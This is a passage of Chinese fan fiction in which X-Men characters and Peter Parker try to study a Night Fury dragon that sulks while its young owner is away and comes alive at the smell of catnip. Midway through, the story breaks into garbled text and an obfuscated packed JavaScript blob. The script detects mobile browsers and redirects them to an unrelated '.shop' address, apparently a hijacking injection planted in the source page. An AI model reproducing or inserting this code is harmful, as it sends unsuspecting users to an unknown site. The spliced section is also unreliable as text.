查尔斯·泽维尔教授认为，在莱克和夜煞之间建立更健康、更安全的联结，需要对夜煞进行更深入的独立研究——在莱克不在场的情况下。理解它的习性、智力、情绪触发点，以及最重要的是，它在没有“小主人”安抚和引导时的自然状态。


    汉克·麦考伊教授对此举双手双脚赞成，他的笔记本和各类扫描仪器已经饥渴难耐。


    于是，在一个莱克被托尼和佩珀带去看儿童音乐剧（作为“居家令”结束的小奖励）的周六上午，泽维尔学院临时成立的“夜煞独立观察小组”正式上线。成员包括：组长汉克（科学担当），琴·葛蕾（心灵感应与安全监控），奥萝洛（环境控制与紧急应对），以及自告奋勇来“帮忙”（实则为上次事件赎罪并满足好奇心）的彼得·帕克。


    地点是学院后方一片被力场屏障临时围起来的、林木稀疏的缓坡空地，空间足够夜煞活动，又相对隐蔽。夜煞被引导到这里，起初它显得很平静，甚至有些好奇，在空地上踱步，嗅闻着青草和树木的气味。


    “好了，大家伙，”汉克搓着手，眼镜反射着兴奋的光芒，“让我们从一些基础的行为和认知测试开始。首先，追踪移动物体……”


    他启动了一个悬浮的、发出柔和蜂鸣声的球形探测器，在夜煞面前缓缓左右移动。


    夜煞的视线跟着球转了两下，然后……打了个巨大的哈欠。它甚至没有露出牙齿，只是张开嘴，露出粉色的牙龈和深色的喉咙，发出一声沉闷的“哈——”，带着一点鱼腥味的热气喷了探测器一脸（探测器晃了晃）。接着，它干脆原地趴下，把巨大的头颅搁在前爪上，眼皮开始耷拉，尾巴有一下没一下地拍着地面。


    汉克：“……看来它对低速移动的简单目标兴趣缺乏。也许需要增加一点挑战性？启动敏捷模式！”


    探测器开始加速，在夜煞头顶绕起八字。夜煞抬起眼皮瞥了一眼，然后做了一件让所有人绝倒的事——它伸出一只前爪，不是去抓，而是像猫拍苍蝇一样，精准地、懒洋洋地“啪”一下把探测器拍落在地，然后用爪子按住，低头好奇地闻了闻，发现不是食物，又无趣地挪开爪子。探测器在地上徒劳地旋转、蜂鸣。


    彼得忍不住笑出声：“它好像觉得这很无聊，汉克教授。”


    “嗯……也许它对视觉刺激不敏感，更依赖嗅觉或听觉？”汉克不死心，换了策略，“琴，或许你可以用心灵感应尝试一些简单的指令？比如‘站起来’、‘走过来’？”


    琴点点头，温和的心灵感应像涟漪般扩散向夜煞。她能清晰地感受到一股庞大、平静但明显开始变得“不耐烦”和“想念”的情绪潜流。夜煞接收到了指令，它确实抬起了头，看向琴的方向，但身体一动不动，只是喉咙里发出一个拖长的、带着点抱怨意味的“呜嗯……”，然后把头扭开，用巨大的、皮革般的翅膀“唰”一下把自己整个裹了起来，形成一个密不透风的黑色巨茧，只露出一小截尾巴尖在外头，还故意似的左右摆了摆。


    众人：“……”


    奥萝洛挑眉：“它这是在说‘别烦我，我要睡觉’？”


    “用翅膀自闭了。”彼得总结道，想起自己有时候不想写作业也会用被子蒙住头。


    汉克推了推眼镜，记录：“行为记录：表现出明显的回避和消极配合倾向，可能源于对莱克缺席的焦虑或单纯对测试内容不感兴趣。需要更有吸引力的刺激。”


    于是，他们搬出了“食物诱惑”。汉克准备了多种食物：大块的新鲜牛肉、整条的三文鱼、甚至还有一只活鸡（在安全笼里）。夜煞对牛肉闻了闻，没兴趣；对三文鱼稍微多看了两眼，但还是撇开了头；当那只活鸡在笼子里扑腾发出声响时，夜煞的耳朵动了动，睁开一只眼睛瞥了一眼，随即又闭上，尾巴不耐烦地拍打地面，扬起一小片尘土。


    “它可能更喜欢特定的鱼类，或者需要莱克在场才愿意进食？”汉克推测。


    “也许它只是不饿，或者……挑食？”奥萝洛说。


    接着，他们尝试了“环境丰容”——放置了一些大型的、适合攀爬和抓挠的木桩，甚至还有一个装满清水的浅水池。夜煞对此的反应是：它慢悠悠地爬起来，走到一棵高大的橡树旁，在众人疑惑的目光中，后肢和尾巴灵巧地发力，庞大的身躯竟然像蝙蝠一样，“咻”地倒挂上了最粗壮的一根横枝！它用尾巴勾住树枝，翅膀收拢，头朝下挂着，黑曜石般的眼睛从倒挂的角度看着下面一群目瞪口呆的两脚兽，然后，缓缓地、清晰地闭上了眼睛。


    “它……它把自己挂起来了……”彼得仰着头，脖子都酸了。


    “记录：具备出色的攀爬和倒挂能力，可能用于休息或躲避。再次表现出回避观察的倾向。”汉克一边记录，一边试图用长杆上的摄像头去拍夜煞倒挂的脸。


    似乎是嫌摄像头凑得太近，夜煞猛地睁开眼，这一次，它的瞳孔不再是圆润的黑曜石，而是骤然收缩，变成了两道危险的、泛着幽光的竖瞳！它对着摄像头，非常拟人化地、用力地翻了一个巨大的白眼，然后再次闭上眼，还把一只前爪举起来，搭在额头上，做了个“挡光”的动作。


    “噗——！”这下连琴都没忍住，笑出了声。“它绝对在嫌弃我们。”奥萝洛也乐了。


    汉克却兴奋了：“瞳孔收缩变化！这表明它有调节光线的能力，情绪激动时瞳孔形态会改变！那个白眼……天啊，这认知能力和情绪表达能力太惊人了！它完全理解我们在做什么，并且表达了不满！”


    整个上午，观察小组在各种“不配合”中度过。夜煞要么用翅膀裹着自己，要么用尾巴遮住脸，要么倒挂在树上假装自己是巨型水果蝙蝠，对于汉克的一切尝试——不同的声音测试、光线测试、甚至轻柔的电刺激测试（被琴严厉否决了）——都报以懒洋洋的无视或生动的白眼。


    中午时分，汉克决定试试“天敌/厌恶刺激”测试（在极度小心和控制下）。他准备了一条活蹦乱跳的鳗鱼（因为他记得资料里夜煞似乎更偏爱普通鱼类，对鳗鱼状生物无感？）。当装有扭动鳗鱼的透明箱子被推到夜煞附近时，一直半睡半醒的巨龙突然动了。


    它从倒挂状态轻盈落下，凑近箱子。但当它看清里面那条滑腻腻、不断扭动的长条生物时，它并没有像对鸡肉那样无视，而是猛地向后一跳！（虽然只是一小步，但地皮都震了震）喉咙里发出一种介于厌恶和警惕的“嘶哈”声，头颈部的鳞片微微竖起，翅膀也半张开，做出防御姿态。它盯着那条鳗鱼，竖瞳紧缩，然后非常明确地转过身，用屁股对着箱子，尾巴还示威似的扫了一下，把箱子推远了几寸。


    “它怕鳗鱼！或者至少极度讨厌！”彼得像发现了新大陆。


    “有趣！强烈的负面反应！”汉克赶紧记录，“原因未知，可能是外形，可能是气味，可能是过去的负面经历（尽管它理论上没有过去）……”


    下午，就在观察接近尾声，众人几乎要放弃的时候，汉克无意中打开了一个密封罐——里面是他用来吸引学院里流浪猫的、高品质的猫薄荷。一阵清冽的、带着薄荷和某种草本气息的味道飘散出来。


    原本又把自己裹成茧的夜煞，鼻子猛地抽动了几下。翅膀唰地打开，巨大的头颅探了出来，眼睛紧紧盯着汉克手里的罐子，瞳孔以肉眼可见的速度放大，变得圆溜溜的，充满了纯粹的好奇和……渴望？


    “咕噜？”它发出疑惑又感兴趣的声音，庞大的身躯不由自主地朝着汉克挪动了一小步，鼻子使劲嗅着空气。


    汉克愣住了，小心翼翼地将一点猫薄荷倒在手心里（戴着手套），伸过去。


    夜煞低下头，巨大的鼻尖几乎要碰到汉克的手。它深深地、陶醉地吸了一口气，喉咙里发出满足的呼噜声，整个身体似乎都放松柔软了下来，眼神迷离，甚至试图伸出舌头去舔（汉克赶紧缩手）。它对那一小撮猫薄荷表现出的兴趣，远超之前的所有食物和玩具！


    “记、记录！”汉克的声音因激动而颤抖，“对猫薄荷（Nepeta cataria）及其类似植物挥发物表现出异常强烈的积极反应！瞳孔放大，行为放松，表现出探究和愉悦迹象！这太不可思议了！龙类与猫科动物的神经系统可能存在某种未知的相似性或交叉反应区域！”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943489|191839||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    这个发现让汉克重新燃起了希望。但当他试图用更多猫薄荷引导夜煞完成一些简单指令时，夜煞在吸够了猫薄荷，变得有点晕乎乎、乐陶陶之后，直接无视了指令，开始用自己的方式“享受”起来。


    它走到一片阳光最好的、草皮厚实的斜坡上，低头看了看草地，然后抬起头，喉咙里酝酿着幽蓝的光芒。


    “等等，它要干什么？”奥萝洛警惕地准备控制天气。


    只见夜煞没有朝任何方向喷吐，而是对准了自己面前的那片草地，张开嘴——


    “呼！”


    一道比之前细弱、温度却控制得极好的幽蓝色等离子流（更像高温火焰）喷涌而出，均匀地扫过大约十平方米的草皮。青草瞬间焦枯、碳化，变成一片平坦的、冒着缕缕青烟的黑色“地毯”，地表的湿气被蒸干，土壤变得温暖。


    然后，在众人再次惊愕的目光中，夜煞满意地打了个带着猫薄荷和焦草味的嗝，舒舒服服地、整个趴倒在那片被自己“加工”过的、温暖干燥的“定制窝”里，把脑袋埋进前爪，喉咙里发出无比满足的、响亮的咕噜声，尾巴尖惬意地轻轻摆动。


    它甚至用爪子把旁边没烧到的、带着猫薄荷气味的草叶扒拉了一些到自己的“窝”边，然后把翅膀再次拢了拢，彻底进入了放松的、拒绝打扰的休憩模式。


    观察小组全体成员，站在不远处，看着那头我行我素、用吐息给自己铺了个温暖窝、然后陶醉在猫薄荷余韵中打盹的黑色巨龙，陷入了漫长的沉默。


    “……所以，”彼得最终打破了寂静，总结道，“我们今天的收获是：没牙仔先生是个会翻白眼、讨厌鳗鱼、热爱猫薄荷、有严重分离焦虑、并且对给自己做窝有着极高品味和动手能力的……懒宅巨龙？”


    汉克看着笔记本上密密麻麻却几乎没多少“有效科学数据”的记录，又看了看那个在自制暖窝里睡得正香、对周遭一切毫不在意的庞大身影，推了推歪掉的眼镜，长长地、深深地叹了口气。


    “我想，”琴忍着笑说，“在莱克回来之前，我们的‘独立观察’可以暂时告一段落了。至少我们知道了，它很聪明，很有个性，而且……非常清楚自己想要什么。”


    “以及，”奥萝洛补充，抬头看了看天色，“它绝对在用自己的方式，抗议莱克不在身边这件事。”


    当傍晚莱克看完音乐剧，迫不及待地跑回学院空地时，看到的就是这样一幕：他的没牙仔舒舒服服地趴在一个冒着微微热气、散发着奇特焦草和薄荷香气的黑色“床垫”上，睡得香甜，身边散落着几片猫薄荷叶子。而汉克教授正对着笔记本抓头发，彼得哥哥在憋笑，琴老师和奥萝洛老师脸上带着无奈又好笑的表情。


    “没牙仔！”莱克开心地喊道。


    几乎在声音响起的瞬间，夜煞的耳朵动了动，眼睛猛地睁开，里面的慵懒和迷糊瞬间被纯粹的喜悦取代。它“腾”地站起来，完全不顾自己精心制作的暖窝，大步冲到莱克面前，低下头用力蹭着莱克，喉咙里发出喜悦到极致的、一连串的咕噜声，尾巴摇得像直升机螺旋桨，差点把旁边一棵小树扫倒。


    它又恢复了那副生机勃勃、充满依赖和快乐的样子，与白天那个叛逆、懒散、各种不配合的巨龙判若两龙。


    汉克看着这一幕，最终在笔记本上写下最后一行结论：“核心观察结果：研究对象‘夜煞’的绝大部分行为、情绪及配合度，与特定关联个体‘莱克·斯塔克’的在场与否呈绝对正相关。其独立状态下的‘不良表现’，可基本归因于对该关联个体的强烈情感依赖及随之产生的消极应对策略。建议：未来任何涉及该对象的研究或互动，必须充分考虑并纳入该关联因素。附：对猫薄荷的反应异常显著，建议作为潜在的情绪安抚或互动辅助手段进一步研究。（以及，它真的很不喜欢鳗鱼。）”


    托尼后来看到这份报告时，只评论了一句：“所以，我们家不仅有个能召唤幻想生物的小麻烦，现在还有个得了‘重度莱克依赖症’、爱好独特、还会自己装修卧室的巨龙房客？”


    生活，果然永远比实验数据更丰富多彩。